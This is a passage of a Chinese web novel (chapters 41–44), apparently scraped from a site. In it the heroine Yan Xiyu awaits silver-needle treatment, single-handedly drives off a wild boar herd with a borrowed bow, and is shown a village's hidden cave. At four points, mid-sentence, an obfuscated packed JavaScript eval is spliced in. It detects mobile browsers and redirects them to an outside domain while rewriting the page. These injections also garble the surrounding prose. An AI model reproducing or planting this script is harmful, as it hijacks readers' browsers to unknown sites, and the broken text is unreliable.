虽然没人住,但看出来有人会过来打扫,房梁上的蛛丝网并不算多。 各种家具虽然破旧,倒也勉强还能用。 最重要的是,这没人住的屋子还放着两把木梯。 “左右屋子各有一通炕,他们男子勉强够睡,”罗采春有些开心地说。 她们之前一直都有露宿荒郊野外,上次进城住了几晚客栈,让罗采春记到现在。 燕惜妤说:“能睡就行,劳烦三姐你收拾着,我去找佟槿方。” 佟槿方正在和佟瑰方寻找能起火炉的地方。 银坨子已经换了回来,他们要开始准备制银针了。 虽然佟槿方是真不想给燕惜妤扎针,但当初燕惜妤之所以会愿意帮他救出佟瑰方,就只是为了她自己的离魂症,佟槿方就算心里面再怎么抗拒,他也都必须给燕惜妤治病。 “除了柴火,还需要什么?”燕惜妤过来问。 佟槿方一脸愁怨地看着她,见她像是没事人似的,心里就更苦了。 想了想,却只能在心里叹气,后悔当初没能先把话讲清楚。 “再有一个小石锤就可以了,”佟瑰方说。 其实制银针并不难,火炼,石锤,沙磨,难的是在火炼中如何让细如毫发的银针在无数次拉扯中不会断裂。 “那我去找老村长借小石锤,”燕惜妤边说边向外走去。 一边无所事事的仲二一下子就窜了出去:“当家姑娘你歇着,我去借。” 等他回来时,佟瑰方已经找到了垒火炉的地方,就在堂屋灶头的旁边。 一连三天,佟瑰方俩姐弟一直守在火炉旁边,他们一直关着门,其他人也没进去偷看,只是佟瑰方说要石锤,但其实并没有听见几声锤子的声响。 第三天傍晚,下雨了。 仲茂他们挤在屋门前的走廊上往外看,一个个也不知道在看什么。 燕惜妤和罗采春坐在炕上,罗采春在梳头发,她平日没事时喜欢梳头发,也喜欢给燕惜妤梳头发。 这时佟槿方在外面敲门,燕惜妤顶着刚梳好的发髻过去开门,看见他手里拿着卷成长条的小帕子走了进来。 “银针成了?”燕惜妤有些小激动地看着他。 佟槿方点点头,把小帕子摊开在炕上。 小帕子里面还卷着一块缝着好几层的长形布块,布块上面插着三根大小不一的细长银针。 燕惜妤和罗采春都好奇地凑过来看。 “这是天针,这是长毫针和短毫针,”佟槿方按顺序说了那三根银针的名字,“我阿姐把这三根先制了出来。” 他说完,看了看罗采春,然后才去看燕惜妤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404168|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>燕惜妤找他治病这事,罗采春是一知半解的,她知道佟槿方懂医,但不知道他手里的银针除了能给人治病,还极有可能会把燕惜妤扎死。 燕惜妤一听就懂了,佟槿方这是在告诉她,这三根银针就是要扎在她头顶穴位的银针。 她的心里猛地跳了一下。 “只需要用这三根银针?”燕惜妤看着银针问佟槿方,“佟阿姐还在制剩下的银针?” “嗯,”佟槿方抿了抿嘴唇,“……要是这三针有用,剩下的十根银针就能全用上。”佟瑰方趁机教他亲制银针,可这些银针制出来之后,极有可能第一次试针就要把人给扎死了。 “辛苦你们了,”燕惜妤很诚心地向他道谢,“谢谢,也替我谢谢佟阿姐。” 佟槿方想说你还是别道谢了,我心里渗得慌。 雨下了一整天,次日天就晴了,但外面坑坑洼洼的全是积水。 除了佟瑰方俩姐弟忙着制银针,其他几人平日全都在炕上躺着。 深夜里大家都睡了,佟瑰方摸黑走进了屋里。 燕惜妤还没睡,她坐起来轻声说:“佟阿姐。” “吵到你了?”佟瑰方在黑暗中边脱外头的衣裳边说,“今日迟了些,不过我和阿弟已经把十三针全都制出来了。” 她的语气有着些许的轻松,她教会了佟槿方制针,而且现在他们手上有了银针,要是燕惜妤的病真的治不好,她和阿弟也算是有了谋生的法子。 “银针全制出来了?”燕惜妤听了也松了口气,她带着人借住在悬崖村,整日不能出去,因为干粮快吃完了,仲茂他们五人已经有些坐不住了。 “嗯,全制出来了,”佟瑰方边说边躺在炕上。 “那我们明日就离开悬崖村,”燕惜妤轻声说,“然后去附近的镇上买干粮,咱们快要没吃的了。” 黑暗中传来佟瑰方的声音:“燕姑娘,我身上有着少许的银子,我和我阿弟日后的吃食费用我来出,总不好让你一人养着大家伙。” 她说的委婉,其实是准备着要脱离燕惜妤。因为佟槿方一直都没信心真的能用银针给燕惜妤治病,而且佟家秘笈上的那三个法子,是在患离魂症之人死后才得出结论的,没给人医治过的法子,是纸上空谈。 黑暗中传来了燕惜妤的声音:“佟阿姐,你和槿方日后若是有去处,能带着我三姐吗?” 她的声音听着没什么起伏,但却是让佟瑰方的心在仲夏的夜里忽然一凉。 燕惜妤这是在…… 没听见佟瑰方说话,燕惜妤就声音含笑地说:“佟阿姐不说话,我就当阿姐同意了。” 清晨醒来,佟瑰方和佟槿方都是心事重重的样子。 不过仲茂他们五兄弟却很兴奋,外头的地晒干了,他们终于要离开这小村子了。 仲茂吆喝着兄弟们牵马和抬木板车,罗采春跟在后面,怕这几个人来疯一个不小心把板车上的东西给掉了。 院子外头站着两个村民,他们见这些人终于要离开,脸上也表现出了一点善意。 燕惜妤还在想着要不要去和老村长道别,结果平日很安静的村子乍然又响起了猛烈的铜锣声! “野猪又进村了!”那两个村民脸色徒然一变,立即冲着正要离开的他们大声喊,“快退回屋去!把门都关上!” 42. 第42章 正开开心心地准备离开的几人皆是一愣,然后全都看向燕惜妤。 燕惜妤脸上的表情不惊不慌,像是早有准备似的。 她对仲茂说:“你带着他们退回屋子,我三姐和佟家姐妹就交给你了,你带着几个兄弟一定要护着他们。” “当家姑娘放心,我定会护着他们!”仲茂一挺胸膛,然后催促四个兄弟又把马和板车都搬回院里。 “三姐,你和佟阿姐回屋去,我出去一趟,”燕惜妤对罗采春说,“帮我看好包裹,别让仲茂他们给弄丢了。” “你要小心些,不要动武,”罗采春拧着眉说。 燕惜妤笑笑:“一村子那么多人呢,这里头没我什么事。” 罗采春想了想,觉得燕惜妤说得也对。银坨子换了,也住了这么些天,如果野猪不是在这时进村,他们说不定已经离开了,确实是没燕惜妤什么事了。 罗采春这才放心地转身回屋。 等罗姑娘进了屋,燕惜妤脸上有着笑容,说出的话却让佟槿方胆战心惊:“佟阿弟,你准备好银针。” ……让我准备银针,那你是要去做什么?! 佟槿方瞪大眼睛看着燕惜妤转身向外走,吓得连忙要伸手去拉她:“你等等!!” 燕惜妤根本没听见,早就走远了。 “阿姐,怎么办啊?!”佟槿方慌得手脚直发抖,“她让我准备银针!我这银针一扎下去,她性命可就没有了啊!!” “莫慌!”佟瑰方目光沉着说,“你要是怕,让我去给她扎针。” 佟槿方沉默了一会儿,最后才说:“她是个聪慧的人,总不至于真会不顾自身的性命。” 他嘴上虽然这么说着,心里却没底。 燕惜妤是个不按常理出牌的人,没人能猜出她的想法,也没人知道她下一步会做些什么。 燕惜妤在往村子外面走,而村子的人在往村子里面跑。 她随手拦下一个村民问:“这位大叔,村子拿弓箭的人叫什么名字?” 对方一愣:“弓箭?你说阿石?” “谢谢,”燕惜妤继续往外走,边走边大声喊,“阿石大哥!阿石大哥!” 刚喊了两声,转角的小巷子里就传来树根的声音:“你喊阿石做什么?还不快躲回屋去!野猪群又下山了!” 树根手握着砍刀出现在小巷口,站在他身边的是阿石,对方手拿长弓,肩上还背着装满了箭的箭囊。 “阿石大哥,你的弓箭和箭囊借我用用,”燕惜妤说着走了过去。 明明双方的距离间隔着快十几步远,哪知她一步踏出,人就已经站在了树根和阿石的面前,而阿石拒绝的话都还没说出口。 “……?!”阿石怔了一霎,手里的弓箭和肩手的箭囊已经被燕惜妤拿了过去。 “……她方才几步走过来的?”树根一脸的震惊,“她是不是会轻功?!” 阿石手里已经没了长弓,他怔愣地低头看着自己的手,忽然脸色一变:“不能让她出村,万一她要是被野猪扎死了,衙门的衙差就会过来,老村长说了绝不能让衙差进村搜查!” 树根也跟着脸色一变,他咬着牙说:“俺们去把那姑娘带回来,就算她真会轻功,可只凭她一个人,又怎么能对付全野猪领的野猪!” 俩人连忙去追人。 燕惜妤走的也不快,她没用过弓箭,所以边走边拿着箭在拉着弓弦,只不过她拉弓弦的手势有些奇怪。 “哎你等等!”树根边跑边喊。 阿石却留意到了另外一件事:“树根,她手里同时拿着三支箭!” “什么三支箭?”树根脚步停了一下,定睛一看,才发现走在前头那姑娘的手上竟然真夹着三支箭! 他又再次愣住了,看着阿石问:“你上次讲这叫什么来着?” “三箭齐发,”阿石喃喃道,“羿家骑兵弓箭手的看家绝活。” “所以……这姑娘是羿家军的人?!”树根惊的张大了嘴巴。 阿石摇头:“俺也不晓得,先把她带回去,千万不能……” 他这边话还没说完,那边的燕惜妤忽然停下了脚步,紧接着拈弓搭箭,三支箭的箭头对准了已经冲出了蒲苇的几头野猪。 树根和阿石齐齐停住了脚步,他们不仅不敢出声喊人,甚至连呼吸声都下意识屏住了。 三声破空声骤然响起! 箭才刚离手,燕惜妤又再次迅速拈弓搭箭。 背对着人的燕惜妤,眼神冷静而又犀利,她的人明明纤瘦柔美,但内心却又从容的可怕。 面对着从蒲苇中扑出来的一头头有着坚硬獠牙的野猪,她面不改色地一次又一次拈弓搭箭。 箭羽破空之声响彻个不停,其中夹杂着野猪的哀嚎,令听见这些声音的人头皮一阵又一阵发麻,心里也一下接一下地搐紧。 终于,燕惜妤保持着拈弓搭箭的姿势站着不动,而在蒲苇丛的面前,已经倒下了一地的野猪。 每头倒地的野猪都是颈部中箭。 箭头擦过猪拱鼻,然后斜插进野猪的颈部,箭身没入大半,只剩下箭羽,鲜血顺着箭身流出,最后从箭尾滴下。 空气好像忽然定住了,燕惜妤拉开的弓弦绷得极紧,而在她的对面,隔着那些大大小小的坑和一圈火塘坑,一群野猪竟也定在了原地。 它们像是知道害怕似的,全都没有越过倒在地上的那些野猪再扑过来。 燕惜妤和它们之间的那块空地,仿佛成为了楚河汉界。 “……糟了!”阿石忽然极小声开口,“箭没有了!” 树根连忙去看箭囊,完了,箭囊真的空了! “怎么办?”树根立在原地,浑身紧绷着不敢动,只能小心翼翼地动着嘴巴,“俺要是一动,野猪群会不会扑过来?!” “不晓得……”阿石也僵硬地站着不敢动,“她手里没箭了,俺们不能动,万一刺激到那群野猪,她逃不掉啊!” “她会轻功,俺们才是逃不掉的那俩,”树根动着嘴巴小声说。 就在这时,俩人眼角余光扫见了一个匍匐在地的身影。 他们努力地斜着眼看,终于看清匍匐在地的人是铁牛。 只见铁牛趴在地上,而他的面前有一大竹筐阿石之前做好的石头箭! 铁牛匍匐着慢慢越过他们身边,一点一点地推着那筐石头箭向前缓慢移动。 树根和阿石就那么定定地看着铁牛趴在地上一点一点地往前挪,最后终于把整筐的石头箭都挪到了那个背对着他们的姑娘脚边。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412280|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大概是铁牛的出现刺激到了那群野猪,站在最前头的野猪终于又嚎叫着要冲过来。 “咻咻咻”的破空声又再次响起。 燕惜妤的箭一离手,铁牛双手抱着那筐石头箭猛地站了起来:“姑娘,箭!” 箭就在手边,燕惜妤三次拈弓搭箭,九支箭射出去,对面瞬间又倒下了九头野猪。 这下那些野猪又定在了原地,一头头“哼哼哼”地叫着,像是在互相交流。 就在这时,保持着拈弓搭箭的燕惜妤开口:“有火把吗?” “有!”铁牛抱着竹筐低声说。 “去多拿点火把过来,松油和火折子也拿出来,”燕惜妤说。 “俺去!”树根说着,已经顾不得其他了,转身就往村子里头跑。 很快他就跑了回来,身后竟然还跟着不少村民,就连老村长都过来了。 “这!这些野猪?!!!”其他村民看着那倒了一地的野猪,一个个都惊的大气不敢出。 “当家姑娘,火把拿来了!”树根也不知道怎么想的,张嘴就学仲茂他们喊燕惜妤,“要火把做什么?” “将火把都点燃,”燕惜妤还保持着拈弓搭箭的姿势,那弓弦绷得极紧,明明这时她该是全神贯注屏着呼吸不敢分心的,但她偏偏还能若无其事地开口说话,“点着了就扔出去,尽量扔到那些火塘坑里,扔偏了也没关系,扔吧。” “阿石,快过来扔火把!”树根连忙喊阿石。 阿石能拉开弓箭,他的臂力完全能把火把扔过去。 第一支点燃的火把被阿石扔到了火塘边,但并没掉在火塘里。 那些野猪像是受到了惊吓,哼哼叫着又有几头野猪想冲过来。 “咻咻咻”又是三道破空声,三头跑在最前面的野猪倒下后,那群野猪顿时又定住了。 “继续扔火把,”燕惜妤说。 于是一支又一支点燃的火把被扔了出去,树根和其他村民也加入了扔火把的行列中。 他们一个个咬着牙关沉默地扔着火把,眼中露出的全是愤恨,仿佛要把手中的火把扔到野猪中去似的。 最终,那圈呈扇圆的火塘形成了一条火龙,虽然火势不猛,火苗也不大,但将村子和那片蒲苇丛隔开了。 “咻咻咻”又是三道破空声。 燕惜妤一边放着箭,一边向前走 铁牛抱着那筐石头箭连忙跟上,树根和其他村民也下意识跟着。 每走一步,燕惜妤就射出三支箭,那些箭并没有落在猪群身上,而是落在了那圈火龙和猪群中间的空地上。 一支支箭插进泥土里,每插进一支,野猪群就下意识后退,最后,野猪群全部躲进了蒲苇丛中。 燕惜妤停下了脚步,这次射出去的箭,全都没入了蒲苇丛。 紧接着,就又是野猪的嚎叫声响起,最后,躲在蒲苇丛中的野猪终于退回了山林。 “……野猪群逃跑了?!!” 树根忽然吼了一嗓子,把燕惜妤吓了一哆嗦。 她把手中的弓箭递给阿石:“阿石大哥,我把弓还给你了。” “……哦,”阿石下意识恭敬地接了过来。 燕惜妤双手互相搓着手腕,然后看向一直跟在后头的老村长。 43. 第43章 老村长这时已经是泪流满面。 燕惜妤又被吓了一跳:“老村长你怎么了?” “娃娃啊!”老村长苍老的声音哽咽着,“老叟为我这悬崖村所有的村民在此谢过你了啊!” 说完,还颤抖着身体要给燕惜妤下跪。 “可千万别!”燕惜妤又是吓了一跳,这边正要去扶老村长,结果树根他们“扑通”一声,全都在给燕惜妤磕头道谢。 “谢谢当家姑娘!”悬崖村的村民一向齐心,这时跪的快,喊的也大声。 燕惜妤弯腰扶着老村长的手臂,看见的就是树根他们的头顶。 “我听见了,你们都起来吧,”燕惜妤哭笑不得地说,“都起来吧。” 树根他们这才站了起来,看着她的眼神那叫一个热忱和激动。 燕惜妤觉得这个时候她应该说些什么。 “等会给火塘堆上柴火烧两天,以后隔几天就烧一次,地上的箭不要拔出来,那是给野猪的警告,有箭在,它们能消停一段时间。”燕惜妤说完,又看向阿石,“阿石大哥,你每天过来往蒲苇丛里射几箭,箭羽的破空声能把躲在山脚的野猪吓走。” “它们不敢再来的!”阿石恶狠狠地说,“再出现俺就射死它们!” “阿石,听当家姑娘的,”老村长咳了两声,“野猪聪明着呢,它们知道害怕,说不定还能分出射箭的人,你一箭射不死它们,就别乱了当家姑娘的计策。” “对,它们迟早会再过来,”燕惜妤点头说,“所以在这之前,老村长,你该把前面的围墙建起来了。” “唉,现在野猪是暂时不会来,但我们村的劳壮力太少,也不知要建到何时,”老村长叹气。 “可以请人,”燕惜妤说。 “咳咳咳,”老村长摇头说,“实在是没银钱。” “不用钱,野猪肉可以吃吧?”燕惜妤伸手指向那边倒了一地的野猪,“野猪太多,吃不完多浪费,请人来建围墙就给他们野猪肉,咱村里大方点,肯定能请到人来的。” “对啊!”树根一拍双手,“俺还在想着,那么多野猪肉村里也腌不完。” 他这话是顺口说出来的,在他说到腌字的时候,老村长那浑浊的眼神闪烁了两下。 燕惜妤没注意他,还在和树根说话:“确实腌不了那么多,浪费盐,或许可以试着熏一些野猪肉,然后村里人自己吃一些,请人建围墙除了拿肉代付钱,是不是要包他们吃饭,也拿野猪肉煮给他们吃,吃饱了才有力气建围墙,这样野猪肉就不会放太久坏掉了。” 树根呆呆地听着,然后喃喃道:“怪不得你身边的人喊你当家姑娘,你三两句就把事儿全都给安排好了。”而且还安排的明明白白妥妥当当的。 燕惜妤笑笑。 其实野猪肉拿出去卖是最好的方法,但悬崖村这两不管的地方,当初是因为不种地才成为两不管的,所以燕惜妤不知道这村里的人能不能出去卖野猪肉。 如果能出去做小贩,老村长自然会安排人出去,她就不操那份心了。 燕惜妤转身看了看那些倒在地上的野猪。 她要感谢这些野猪是以动物的习性冲过来的。 动物一般会由一只动物带头,然后呈三角的队形向前冲,所以她才能有足够的时间射杀前面的野猪,只要冲在前头的野猪倒了,后面的就会停下来。 非常感谢野猪还没学会用一字并列的队形冲过来,否则她今天还真要费不少功夫才能吓退野猪群。 不过今天射杀了一轮,野猪应该有段时间不敢再来闯村子了。 “那老村长你们商量着,我……”燕惜妤想说我要带着人离开了。 “啊对对对,当家姑娘辛苦了,先回去歇歇,晌午咱村里吃野猪肉!”不知什么时候出现的水生忽然就安排阿石送燕惜妤回去,“阿石,你送当家姑娘回去歇着。” “我……”燕惜妤刚想拒绝,她东西都收拾好了啊。 “当家姑娘,俺们村子腌的鱼肉可好吃了,你留下尝尝,”阿石眼神巴巴地看过来。 ……我在你们这住了七、八天,现在才说要请我吃你们当地的特色美食。 燕惜妤沉默着跟着阿石又回了之前借住的屋子。 “是当家姑娘回来了?”阿石在开院子外第一道门的时候,仲茂忽然从里面露出了脑袋。 “嗯,”燕惜妤应了一声,想到仲茂一直期待离开村子,于是她说,“你和兄弟们准备一下……” 可她话还没说完,阿石就闷声开口:“这位兄弟,你晓得方才当家姑娘在村子外射杀了几十头野猪不?” “什么?!!”仲茂乍然提高了声调,“我们当家姑娘方才射杀了几十头野猪?!!” 他刚打开了院子里面的门,拔高的声音就炸响在燕惜妤的声边。 燕惜妤下意识仰了仰头。 仲茂这一声喊,瞬间就把屋里的其他人也喊了出来。 “什么?!!” “你说多少头野猪来着?!” 仲二他们四人连忙挤了过来,七嘴八舌地问个不停。 阿石举起他手中的长弓,与有荣焉地说:“当家姑娘就是用俺手里的这把长弓,还有俺做出的那些石头箭,每次引弓都是三箭齐发,箭箭不落空,一箭就能射死一头大野猪!” “哇!!”他每说出一个字,仲茂他们的眼睛和嘴就张大一分,最后下巴张的都快掉地上了。 “野猪在哪儿呢?”仲茂忽然懊恼地一拍他自个儿的大腿,“你们咋不喊我一起去看?!亏了啊!” “就在村子外头,倒了一地的野猪,俺村的人正在往里抬,”阿石也越说越激动。 之前又害怕又震惊,整个人都是懵的,等那阵恍惚过了之后,他忽然就开始兴奋起来,身体里边像是有什么控制不住的劲儿突突地往外直冒。 “走,快带我们去看看倒了一地的野猪!”仲茂一搂阿石的肩膀,和仲二他们四人拖着阿石就往村外走。 留下几次想说话却又插不上嘴的燕惜妤和罗采春几人面面相觑。 “阿妹,你又动武了?”罗采春表情紧张地过来扶燕惜妤,“是不是又动武了?身子可有哪儿不舒坦?” “没事,就是手腕痛,还有口渴,”燕惜妤双手又互相搓了搓自己的手腕。 “那你快回炕上歇着,我去给你倒水去,”罗采春连忙把人扶回屋里。 佟槿方和佟瑰方沉默地跟着往屋里走,俩人眼中全是惊疑不定。 燕惜妤被罗采春按在炕上躺着,看着罗采春出去倒水,她又盘腿坐了起来。 佟槿方和佟瑰方迟疑地走了进来,俩人直直地盯着燕惜妤看。 “你……感觉如何?”佟槿方表情颇为不安地上下打量着她,“是否感觉会断气?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418858|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那银针要不要拿出来?” 银针正贴着他的胸膛放着,明明只有那么一丁点儿重量的银针,此刻却仿佛要把他压的喘不过气。 “我没事,就是手腕有点儿酸软,”燕惜妤边说边转了转手腕,“估计我那离魂症是怕了你那银针。” “……你在说讲些什么疯话?”佟槿方都快紧张的整个人僵住了,而眼前这人却还有心思在说笑。 “我是说真的,”燕惜妤很认真地说,“就像你家里有张小木桌,那木桌的桌脚有些摇晃了,然后你说‘这桌子的桌脚估计快要断了,劈了拿来当柴火烧’,结果那桌子在你家一直就好端端的,其它家具都换了,偏偏它还能再用一百年。” 佟槿方听了她这有些荒谬的话,竟然还真的点了点头:“这事我还真听说过,我小时候听厨娘说灶头的大镬有了裂痕,如果裂了口就拿去换钱买个新的回来,结果到我离开,那大镬都还在灶头上放着。” “就是这么回事!”燕惜妤笑着说,“我身上的离魂症一听说银针制好了,它就不敢发病了,估计是怕被你扎针。” “要扎针了?”罗采春这时端着一陶钵水进来,估计是没听全,只听见“扎针”两字,就随口问了声。 “不用,”燕惜妤接过陶钵喝了水,然后自己主动躺下了,“我歇会儿,你们去看他们杀野猪吧。” 罗采春不想打扰她歇息,于是和佟瑰方一起去看野猪。 只有佟槿方不放心,自己搬了张小木凳守在门外,时不时扭头看两眼,生怕燕惜妤莫名其妙地就断了气。 这次燕惜妤的天赋竟然和身体融合的很好,她拉弓弦射杀野猪时,天赋肯定是使用了,但并没有尽全力。 她原本就只是为了试探一下在少量使用天赋后,再用银针作为定魂辅助,看看会不会有用。 却没想到原来少量使用天赋并不会断气。 只不过暂时还无法确定这个想法到底对还是错。 只能等下次有机会再来验证。 燕惜妤迷迷糊糊地睡着了,醒来时,罗采春正在轻轻地帮她揉手腕。 “三姐,”燕惜妤刚醒来,嗓音还带着鼻音,“谢谢你。” “你又逞强了,”罗采春嗔了她一句,然后小声说,“那佟家小公子方才一直守在门外。” “估计是想守着给我扎两针,”燕惜妤很自然对背对着罗采春,“三姐,帮我绑一下发吧。” “你啊,”罗采春怜惜地为她梳发髻,“几十头那么大的野猪,你能一箭射杀一头,偏偏梳不好你这头发。” “有三姐,我不学,”燕惜妤故意赖皮地说。 罗采春笑着为她梳发,然后又忧心地问:“非要扎那银针不可吗?那佟家小公子年岁尚轻,可是真的能信?” “三姐放心,我心里有数,”燕惜妤闭着眼睛说。 佟槿方说的银针刺穴的方法她是信的,不过没有全信。 所以这次去射杀野猪时,她才会有意识地控制住了自己的天赋,原本想着试一试佟槿方说的银针刺穴的预防方法,却没想到直接把离魂症吓得躲起来了。 看来只能等下次有机会再尝试。 这时,屋外传来了热闹又欢腾的说话声。 佟瑰方从门外进来说:“燕姑娘,老村长来了,他说有话要同你讲。” 燕惜妤一愣,老村长这个时候来找她? 44. 第44章 屋外院子里,仲茂五兄弟那叫一个红光满面。 个个高昂着头,激动的就像那些野猪是他们射杀的,讲话的时候手舞足蹈的,那动作夸张的就像要和旁人比划比划。 燕惜妤一出来,他们立马张嘴就吼:“当家姑娘!” “哎,听见了,继续聊你们的,”燕惜妤差点儿被他们这一嗓子震聋。 老村长和他那三个身有旧伤的儿子一脸笑容地站在院子里。 燕惜妤快步走了过去:“老村长你有事找我?” “娃娃你来,老叟有话要同你讲,”老村长这会儿竟然也不用人搀扶了,走路虽然慢,但也还算稳。 燕惜妤跟着他们父子四人往外走。 这次他们走的方向是村子中心。 之前的那几天,燕惜妤一直没出过院子,只见过悬崖村那些手拿刀具的男人。 这次跟着老村长他们向村里走,总算是见到了村里的妇人和小孩。 妇人和小孩虽然衣裳也全是补丁,但都被保护的很好,不见身上有伤,而且小孩子还蹦蹦跳跳的。 水生留意到她看向村民的视线,就开口说:“我们悬崖村虽然经常和野猪拼命,但那都是我们男人的事情,家里女眷小孩老人不出村子,我们大老爷们会保护好家人的。” “看出来了,”燕惜妤点点头,“水生叔,你们几人的伤,要是把野猪卖了,会有银子看病抓药吗?” 水生说:“我们悬崖村是两不管,祖上得罪王爷府又得罪了衙门官老爷,平日去卖些零碎的鸡蛋还可以,卖野猪肉估计不行,会被衙差没收了去。” 燕惜妤安静地听着。 “不过我们也还有其他的法子能避开衙差,”水生又说,“这点当家姑娘不必为我们担心。” ……这奇奇怪怪的叫法,都是仲茂他们五兄弟喊出来的。 “那就好,”燕惜妤笑笑。 “当家姑娘你看那边,”水生抬手指了指一旁,“大家正在宰猪。” 燕惜妤看了看,那应该是村里以前用来晒谷子的晒坪,这个时候整个晒坪都摆满了野猪,边上放着很多盛满水的木桶,还有很厚的长木案。 木案旁边是三个用石头叠的大灶头,灶上都放着大铁镬,镬里是滚烫的开水,有点像杀年猪的感觉,很热闹。 整个晒坪人声吵杂,妇人忙着些琐碎的工作,男人则赤着膀子在宰猪。阿石估计是因为臂力好,所以这会儿也在这里帮忙。 不过没看见铁牛和树根,他们俩人应该在村外守着。悬崖村的人常年和野猪斗智斗勇,这会儿哪怕刚把野猪群吓跑,他们也不敢松懈下来。 “村外有人守着?”燕惜妤问。 “有,怕蒲苇丛里还躲着野猪,所以他们去搜蒲苇丛,”水生点头说,“又给火塘全都添满了柴火,村里这时小娃娃都出来了,要防着些野猪偷溜进村。” “是应该防着点,”燕惜妤点头。悬崖村的人在对付野猪群这件事上有自己的一套应对方法,村民长年累月都在全力对付野猪群。 不过村子外那块空地刚被她射杀了几十头野猪,地面都被猪血全染红了。 野猪的嗅觉很灵敏,那块空地被射杀了数十头野猪,流了一地的猪血,野猪群会在一段时间内不会再出现在那里。 这点水生也知道,所以他又说:“不过那些野猪闻见那一地的猪血味,在很长时间里都不会再跑过来,它们也知道害怕和忌惮。” 说话间,他们走到了一口大鱼塘边。 这鱼塘很大,里面养着不少鱼。 燕惜妤往水里看了看,大致能猜出悬崖村的集体经济来源了。 “娃娃,你看这水塘里的鱼,”老村长走了这段路,说话有些喘,“我们悬崖村的村民,就是靠着这塘里的鱼才能活下来。” 鱼塘在村后头,确实不易被外人察觉。 但是只靠着卖鱼,应该养不活一整条村子的人,毕竟悬崖村的悬崖下面就是一条大江。附近有江河,居民也就不会缺鱼吃。而且悬崖村养的是塘鱼,江河鱼或许更鲜美些。 老村长这是还藏着最重要的秘密没说。 燕惜妤虽然没把这话说出来,但老村长看懂了她的眼神。 “娃娃你来,”老村长咳着笑了两声,把人往后面的岩壁那边带。 水生他们三兄弟这时并没有再跟着,燕惜妤回头看了他们一眼,发现他们全都眼神和善地注视着她。 岩壁上挂满了各种又粗又长的藤蔓植物,还有着苔藓和一些干枯的野草。 等走近了才发现,爬满藤蔓的岩壁竟然藏着一个勉强让一人侧身通过的隐秘洞口。 在外面往里面,岩洞并不是黑漆漆的,隐约还能看见地面和洞壁。 “大岩,”老村长朝洞里喊了一声,里面立即传来了回音。 过了一会儿,洞内隐约看见有火光,有人正举着火把从洞里走出来。 来人是个和水生同岁数的中年男人,一看见老村长身旁站着的人就笑着开口:“老村长,这位就是来俺们悬崖村做客的那位当家姑娘?” “是,这位姑娘是咱悬崖村的贵客,”老村长也笑着说。 ……看来大家都忘了,之前是她耍赖着非要借住在悬崖村的。 “阿叔,”燕惜妤对那男人笑了笑。 “嗳,”大岩顿时眉开眼笑,“你来,过来看看俺们悬崖村藏了几辈子的宝藏。”说完,转身举着火把就往里走。 宝藏?!燕惜妤瞬间就来了精神。 “娃娃,你且看着些脚下,”老村长边走还边回头提醒一声。 “好,我会的,”燕惜妤反而是害怕老村长会摔倒,“老村长你不用管我。” 岩洞里的岩道有些窄,只够一个通过,一直顺着坡道向下,然后走到了一个较为开阔的洞穴里。 等到了这里,不用火把照明,就能看清的一切。 燕惜妤看着眼前的洞口有些愣神。 这是在悬崖边上的大洞口,往前走过去,一眼就能隔空看见对面的群山和下面那波涛滚滚的大江。 “老村长,这里是个好地方啊!”燕惜妤感叹了一声。 “这不是,”老村长摇摇头,然后转身往反方向走去,“真正的宝藏,在这里面。” 真有宝藏? 燕惜妤眼前一亮,怀着半信半疑的心情跟了过去。 大岩举着火把在前头带路,燕惜妤跟在老村长身后走着,越走越觉得四周开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429831|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变冷。 最后,三人停在了一个寒潭前面。 燕惜妤这时吐出的呼吸都已经形成了白雾。 眼前的寒潭不大,但很深,往水中看去,下面是望不到底的幽黑深渊。 潭水上面还结着一层薄薄的冰层,潭下的鱼儿发现有亮光,纷纷跃出水面,水波飘荡着,刚结成块的薄冰层一下子就被水流冲散,待水面平静下来后,水面上又缓慢地结成冰层,然后又被水流冲散,如此无限循环着。 燕惜妤看着那些银白色的鱼跃出水面,然后又“啪”地一声掉回水里。 “这是上面水塘养的那些鱼吧?”燕惜妤忽然开口。 